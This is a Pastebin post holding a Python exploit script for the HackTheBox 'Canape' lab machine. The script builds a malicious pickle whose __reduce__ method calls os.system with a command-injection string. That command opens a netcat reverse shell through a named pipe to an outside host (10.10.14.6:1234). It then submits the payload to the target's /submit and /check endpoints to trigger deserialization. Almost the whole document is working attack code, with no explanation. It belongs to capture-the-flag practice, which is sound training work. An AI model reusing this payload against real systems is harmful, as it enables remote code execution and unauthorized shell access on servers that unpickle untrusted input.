illwill

HackTheBox - Canape pickle python

Sep 15th, 2018
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.83 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import requests
  3. from hashlib import md5
  4. import cPickle
  5. import subprocess
  6. import pickletools
  7. import os
  8.  
  9. class Exploit(object):
  10.     def __reduce__(self):
  11.        comm = "homer;rm /tmp/shell; mknod /tmp/shell p; nc 10.10.14.6 1234 0</tmp/shell | /bin/sh 1>/tmp/shell"
  12.        return (os.system, (comm,))
  13. payload = cPickle.dumps( Exploit())
  14. r = requests.post("http://10.10.10.70/submit",data={'character': payload,'quote': " "})
  15. if "Success!" in r.text:
  16.     print "Successfully submitted quote."
  17. else:
  18.     print "Something fucked up submitting quote"
  19.  
  20. p_id = md5(payload + " ").hexdigest()
  21. print "md5 of payload+space: "+p_id
  22. print "Attempting to Exploit!"
  23. r = requests.post("http://10.10.10.70/check",data={'id': p_id})
  24. if "reviewing" in r.text:
  25.     print "Decoded file:"
  26.     print r.text
  27. else:
  28.     print r.text
Advertisement
Add Comment
Please, Sign In to add comment